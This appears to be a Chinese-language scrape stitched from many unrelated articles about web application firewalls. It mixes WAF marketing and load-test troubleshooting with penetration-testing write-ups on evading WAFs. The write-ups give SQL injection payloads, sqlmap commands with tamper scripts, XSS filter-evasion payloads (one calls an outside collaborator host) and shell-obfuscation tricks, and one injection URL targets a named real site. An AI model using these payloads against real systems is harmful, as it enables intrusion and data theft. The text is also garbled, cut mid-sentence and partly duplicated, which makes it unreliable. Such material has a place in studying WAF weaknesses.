由于WAF一般和业务系统是串联的,并且还是部署在业务系统前面。如果采用反向代理部署模式,假设WAF出现故障,那么会导致单个或者多个站点不可用。这意味着WAF的功能必须是随时可以关闭的。 一个WAF往往需要同时防护多个站点,如果把整个WAF关闭,是会导致整体业务群都失去保护。所以,WAF的工作模式必须有对站点有随时关闭的模式。
成功找到一个sql注入 手工测试,发现有waf 此刻我们过一波waf 首先burp抓包 改成post型 ? ? 此刻是post型 复制出来 ? 到这里就差不多了 修复方式: 对get,post,cookie传递过来的值过滤对一些sql语句关键字过滤or and && select if () union from等再加个云waf
对于只看宏观文章,没有实战的演练,无疑是很好的案例。 三、具体实现 本次测试是以如下站点为例:http://www.ecgi.org/wp/wp_id.php? id=-213’ UnIoN%A0SeLeCT 1,2,3,4,5,~6-- - 这里依然被waf拦截。 ? FrOm Information_schema— - 这里被waf拦截。 如图所示:oh shit….依然被waf拦截。 ? 接着分析绕过吧,通过手工测试,waf过滤的是小数点(.)。 本人也在学习和搜集关于oracle的一些绕过waf技巧,有感兴趣的可以互相学习,探讨。
,至于为什么没有信息,因为我这里没有对sql语句进行判断是否有语法错误,将字段数写上看看; 数字爆出来了 我这里有一张admin表,数据如下: 吧from加上吧:union ((select 1,2,3 from admin)) 成功被拦截 继续修改:/**/union/**/((select/**/1,2,3/**/from/**/admin/**/)) 试了半天====还好是过了=== 爆数据了:/ **/union/**/((select/**/username,2,3/**/from/**/admin/**/)) 别闹===到这里我实在是绕不动了,在1,2,3这里只要出现字母就被拦截, 但是,我貌似看到了一个更直接的
主要有安全狗、云锁等 硬件WAF: 主流防御流量和部分WEB攻击,常见硬件WAF如天融信、启明星辰、深信服、安恒等。 云WAF: 如阿里云等。 WAF部署在哪里 在测试的过程中我们要知道WAF一般主要是部署在那个节点,这对我们绕过WAF时有很大帮助。 通过下图我们可以大概了解: 绕WAF的理解 在我自己看来,所谓的BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。 实战常遇技巧 当你发现这些姿势都不好使的时候,你就该去发现一些新的特性了,毕竟设计WAF的选手都是基于目前的认知下去设计的,当新的特性出现的时候,势必又是一波bypass。 /form-data来判定这是个上传包,然后检测内容 这个方法,又能细分出很多来,而且屡试不爽,这里总结下我个人常用的 (1) 删掉content-type (2) 构造多个filename (3)content-type
文章来源|MS08067 Web漏洞挖掘班 第3期 本文作者:Hi2x(Web漏洞挖掘班讲师) 以下测试均为授权渗透测试: 探测规则1 在页面发现一处富文本编辑器,并且该内容提交后会显示在对应页面上, 从回包的状态码403和Server值可以判断是被Waf拦截了。 那么这时如果我们想要绕Waf的话,就要去思考它对应的正则匹配的规则可能存在的情况了: 1.匹配script 2.匹配alert 3.匹配<.*? 那就再简单猜测一下对应的Waf规则吧: 1.匹配onerror= 2.匹配alert(.*?) 3.匹配on.*?=alert(.*?) 4.匹配on.*?=.*?alert(.*?) 也无需测试都会被Waf拦截。
id=26-p id --tamper=space2comment,equaltolike,between --current-db --random-agent 检测显示存在 WAF: 不管它,让它继续检测 必须有报错信息给到 AI,才能根据相关信息给出解决方案,盲注这种就不太能发挥 AI 之力了,所以访问报错如下: 系统采用的是 PHPMyWind,PHPMyWind 是一款基于 PHP+MySQL 开发,符合 W3C
文章来源 https://shellbr3ak.medium.com/xss-waf-bypass-128e8b4167fb 在一次测试中,遇到一个可以利用 XSS 的点,但是存在 BIG-IP ASM 可以看到被 WAF 拦截。 API 结合 burp 来进行漏洞利用的验证,将下面的 payload 进行转换: var req = new XMLHttpRequest(); req.open(“GET”, “https://s2v3f4nqrlg0kl5f2a0zggd37udl1a.burpcollaborator.net 总结 以上是这次针对存在 waf 的 xss 漏洞接口的绕过测试过程,通过一些 JavaScript 的特性,通过字符串变化、编码等方式组合 payload 从而实现 waf 的绕过,waf 通常是通过正则来进行检测和拦截 ,如果你找到了目标 waf 规则之外的方式,那么,恭喜你,waf 对你无用。
91.png 【问题分析和排查思路】 分析问题之前,先上官网的压测链路: 压测机(运行Jmeter脚本)--> WAF --> CLB --> Node集群(Web) 通过链路排查,定位是WAF的问题。 从CLB压过去没有任何问题,但是经过WAF之后,出现掉坑现象,所以一开始就怀疑是WAF限频问题,询问了WAF的同学是不是触发了什么策略。 92.png WAF的同学查看告警模块,发现触发了ipset封堵策略。 19:30:20开始出现掉坑 ,然后出现WAF ipset封堵策略告警,时间是刚好对应的上。 93.png 让WAF的同学对其加白,问题得以解决。 95.png 【总结】 首先要确定压测链路是什么。 一步一步缩小压测环节,快速定位问题。 然后根据波形图进行合理猜测。
WAF全称叫Web Application Firewall,和传统防火墙的区别是,它是工作在应用层的防火墙,主要对web请求/响应进行防护。那么WAF有什么功能呢? 防火墙都是防御性的产品,有防就有攻,要了解WAF有什么功能,就要从攻击者的角度去思考。 攻击的目的要么是为了利益,要么是为了炫技。目前攻击者大多都是闷声发大财,很少会为了炫技而惹上麻烦。
摘要 本文深入解析SQL注入攻击的原理与危害,结合腾讯云Web应用防火墙(WAF)的核心能力,提供从基础防护到高级防御的完整解决方案。 腾讯云WAF凭借AI+规则双引擎、全量日志分析和30线BGP防护等特性,成为拦截SQL注入的标杆方案。 典型危害场景 攻击类型 案例描述 损失规模 数据泄露 电商平台用户信息遭窃取 2.3亿美元赔偿 系统破坏 金融系统数据库被清空 业务停摆72小时 后门植入 政府网站植入WebShell 持续3个月数据篡改 二、腾讯云WAF的智能防御体系 1.核心防护技术 AI+规则双引擎: 语义分析引擎:深度解析请求参数,识别变异注入语句(如十六进制编码绕过) 规则动态更新:每周同步全球威胁情报,覆盖OWASP **全量日志审计** - 存储180天攻击日志,支持按IP/URL/攻击类型多维分析 - 自动生成等保合规报告 3.
`tables`limit 0,1%23•内联注释:union select 1,table_name,3 from /*! 超大数据包绕过 绕过原理 资源限制:WAF长度资源限制 假如HTTP请求POST BODY太大,检测所有内容,WAF集群消耗太多的CPU、内存资源。因此许多WAF只检测前面的2M或4M的内容。 ,我们猜测安全工程师写WAF规则时,可能不知道函数名与左括号之间可以存在特殊字符,或者遗漏可以存在特殊字符。 所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。 [User]/**/where id=1 那么意味着在注释符中可以添加大量的无效字符来打破WAF的规则匹配。
38.png 39.png 【问题分析和排查思路】 分析问题之前,先上官网的压测链路: 压测机(运行Jmeter脚本)--> WAF --> CLB --> Node集群(Web) 通过链路排查,排除了 40.png 找了运维同学查看WAF设置,发现QPS被限制在10万左右,需要升级套餐。 41.png 把QPS套餐升级到23.5万,问题得以解决。 3.然后根据波形图进行合理猜测。
过WAF(针对云WAF) 寻找真实IP(源站)绕过 如果流量都没有经过WAF,WAF当然无法拦截攻击请求。 `tables`limit 0,1%23•内联注释:union select 1,table_name,3 from /*! }limit 0,1%23•小括号():union select 1,table_name,3 from(information_schema.tables)limit 0,1%23 SQLServer select * from users where id=1 UNION SELECT 1,2,3,4; select * from users where id=1 UniON SelECT 1,2,3,4 Connection: close Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3
WAF 的全称为 Web Application Firewall,顾名思义 WAF 是一款针对 web 端的防火墙产品。 随着免费开源 WAF 的贡献,越来越多的网站拥有了 WAF 的能力,而在实际的测试过程中,遇到 WAF 的几率大大增加,所以绕 WAF 成了渗透测试人员不得不做的事儿,WAF 的检测方式,通常使用正则、 今天要分享的几个小技巧是利用 linux 系统的特性,通过变换命令的形式来绕过 WAF 的黑名单规则。 1、通过在命令中插入未初始化的变量来绕过正则,如图 2、使用问号作为占位符,组合插入命令中,如图 3、使用单引号插入到命令中间,如图 以上就是今天的内容,主要是系统的特性来帮助我们绕过 WAF 的检测,
WAF 绕过的手段千变万化,分为 3 类 白盒绕过 黑核绕过 Fuzz绕过 以下以 SQL 注入过程 绕 WAF 为例列举需要的知识点。 aaaa%01bbs*/select #Level-2 union/*aaaaaaaaaaaaaaaaaaaaaaaa*/select #Level-3 /*! select 1,2,3,4,5,6,7,8,9.0 利用 error-bases进行 SQL 注入(err0r-bases SQL 注入函数容易被忽略) extractvalue(1, concat (0x5c,md5(3))) updatexml(1, concat(0x5d,md5(3)),1); GeometryCollection((select*from(selectlrom(select MYSQL1nigth Oselect{x table_name}from{x information_schema.tables}; Fuzz绕过 上面的例子我相信你看到这篇文章时基本都失效了,那么如何在实战中找到突破
WAF也是防火墙,那么它应该是部署在哪里呢?在部署上,它和传统防火墙有什么区别呢? 传统防火墙处理的消息格式大多是格式化,基本上内容都是固定或者索引方式。 而WAF处理的消息是文本,是非格式化消息,都是可变的。在处理这两种不同的消息格式,在性能上的消耗相差非常大。
图片来源于网络 通过标题,您可能会知道这是有关使用UNICODE进行 XSS WAF绕过的文章。因此,让我们给你一个关于我正在测试的应用程序的小想法。 因此,存在WAF。 为了绕开它,我开始模糊测试,结果是: xss \" onclick= \" alert(1) ==> WAF xss \" xss = \" alert(1) ==> WAF xss 因此,我们唯一的方法是绕过WAF 在标记中使用事件属性。我尝试通过fuzzdb使用html-event-attributes.txt 进行暴力破解。 以看看是否有事件没有被WAF阻止然而并没有什么有值得关注的。 然后我考虑了一下进行unicode编码,输入了一个随机的unicode看看它在响应中是否解码。
nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 ? 显示payload, 看看是哪句被拦截了 sqlmap -u "http://www.xxx.com? id=2" --delay 0.2 --batch -D [库名] --tables -v 3 可以看到第一次被拦截的payload ? 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 ? 手工模糊测试, 发现被拦截的为关键字: FROM ? 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字 id=2" --delay 0.2 --batch -D [库名] --tables -v 3 --tamper=halfversionedmorekeywords ?
nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 ? 显示payload, 看看是哪句被拦截了 sqlmap -u "http://www.xxx.com? id=2" --delay 0.2 --batch -D [库名] --tables -v 3 可以看到第一次被拦截的payload ? 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 ? 手工模糊测试, 发现被拦截的为关键字: FROM ? 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字 id=2" --delay 0.2 --batch -D [库名] --tables -v 3 --tamper=halfversionedmorekeywords ?